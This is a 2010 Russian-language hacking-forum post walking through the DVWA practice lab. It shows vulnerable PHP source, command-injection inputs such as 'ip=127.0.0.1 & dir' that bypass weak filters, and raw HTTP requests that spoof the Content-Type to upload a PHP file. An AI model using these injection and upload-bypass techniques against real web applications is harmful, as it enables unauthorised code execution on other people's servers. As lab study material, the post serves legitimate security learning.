Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

06.01.2010, 20:21
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
Посмотрел площадку. Ничего лишнего. сорец с табличной уязвимостью, которую и искать даже не надо. Лучше потратить время с большой пользой используя не тренировочную площадку, а боевую.
Все же поигрался в нее(В sql inj, file upload, LFI/RFI, comand exec). Вот что наигарал.
Начал с comand exec.
Задача сводится к тому, чтобы вспонить альтернативу рзделялке "&&" for win; ";" for linux
Проходил на винде.
LOW:
Код:
<?php
if (isset($_POST["submit"])) {
$target = $_REQUEST["ip"];
echo "<pre>";
echo shell_exec("ping " . $target);
echo "</pre>";
}
?>
Решение
ip=127.0.0.1 && dir
MED
Код:
<?php
if (isset($_POST["submit"])) {
$target = $_REQUEST["ip"];
$target = str_replace("&&", "", $target);
$target = str_replace(";", "", $target);
echo "<pre>";
echo shell_exec("ping " . $target);
echo "</pre>";
}
?>
Решение
Вместо && можно юзать &
ip=127.0.0.1 & dir
HIGH
Код:
<?php
if (isset($_POST["submit"])) {
$target = $_REQUEST["ip"];
$target = str_replace("&&", "", $target);
$target = str_replace(";", "", $target);
$target = str_replace("-", "", $target);
$target = str_replace("?", "", $target);
$target = str_replace("||", "", $target);
$target = str_replace("|", "", $target);
$target = stripslashes($target);
if ($target == ""){}
else{
echo "<pre>";
echo shell_exec("ping " . $target);
echo "</pre>";
}
}
?>
Фильтр на & Нету. Т.Е решение то же самое что и для MED
Посмотрел еще upload
LOW
без комментов
MED
Код:
<?php
if (isset($_POST['Upload'])) {
$target_path = "uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>Your image was not uploaded.</pre>';
} else {
echo '<pre>' . $uploaded_name . ' succesfully uploaded! </pre>';
}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>
Скрипт требует чтобы
$_FILES['uploaded']['type'] был "image/jpeg".
Решение:
Не хитро обходится. Тайп можно сменить. Отправляем php-шный файл и сниффаем пакет. У меня получилось так.
Код:
POST /dvwa/upload.php HTTP/1.0
User-Agent: Opera/9.22 (Windows NT 5.1; U; ru)
Host: localhost
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru,en;q=0.9,ru-RU;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/dvwa/upload.php
Cookie: security=medium
Cookie2: $Version=1
Proxy-Connection: close
Content-Type: multipart/form-data; boundary=----------Wq88LdnEt7BT8nll12ssLT
Content-Length: 397
------------Wq88LdnEt7BT8nll12ssLT
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------------Wq88LdnEt7BT8nll12ssLT
Content-Disposition: form-data; name="uploaded"; filename="fuck.php"
Content-Type: application/octet-stream
<? phpinfo(); ?>
------------Wq88LdnEt7BT8nll12ssLT
Content-Disposition: form-data; name="Upload"
Upload
------------Wq88LdnEt7BT8nll12ssLT--
изменяем его следующим образом:
Код:
POST /dvwa/upload.php HTTP/1.0
User-Agent: Opera/9.22 (Windows NT 5.1; U; ru)
Host: localhost
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru,en;q=0.9,ru-RU;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/dvwa/upload.php
Cookie: security=medium
Cookie2: $Version=1
Proxy-Connection: close
Content-Type: multipart/form-data; boundary=----------P6JvptCJ2eLEJPIrEFeNot
Content-Length: 397
------------P6JvptCJ2eLEJPIrEFeNot
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------------P6JvptCJ2eLEJPIrEFeNot
Content-Disposition: form-data; name="uploaded"; filename="fuck.php"
Content-Type: image/jpeg
<? phpinfo(); ?>
------------P6JvptCJ2eLEJPIrEFeNot
Content-Disposition: form-data; name="Upload"
Upload
------------P6JvptCJ2eLEJPIrEFeNot--
Результат: fuck.php succesfully uploaded!
High
Код:
<?php
if (isset($_POST['Upload'])) {
$target_path = "uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>Your image was not uploaded.</pre>';
} else {
echo '<pre>' . $uploaded_name . ' succesfully uploaded! </pre>';
}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>
Не разобрался.
Еще пытался найти решение на sql inj
Код:
<?php
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num=mysql_numrows($result);
$i=0;
while ($i < $num) {
$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");
echo "<pre>ID: $id<br>First name: $first<br>Surname: $last</pre>";
$i++;
}
}
?>
Тоже не понял,как эту систему пройти. Если кто разберется, отпишите.
LFI/RFI не стал писать, там уж совсем просто.
Последний раз редактировалось The matrix; 06.01.2010 в 20:24..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|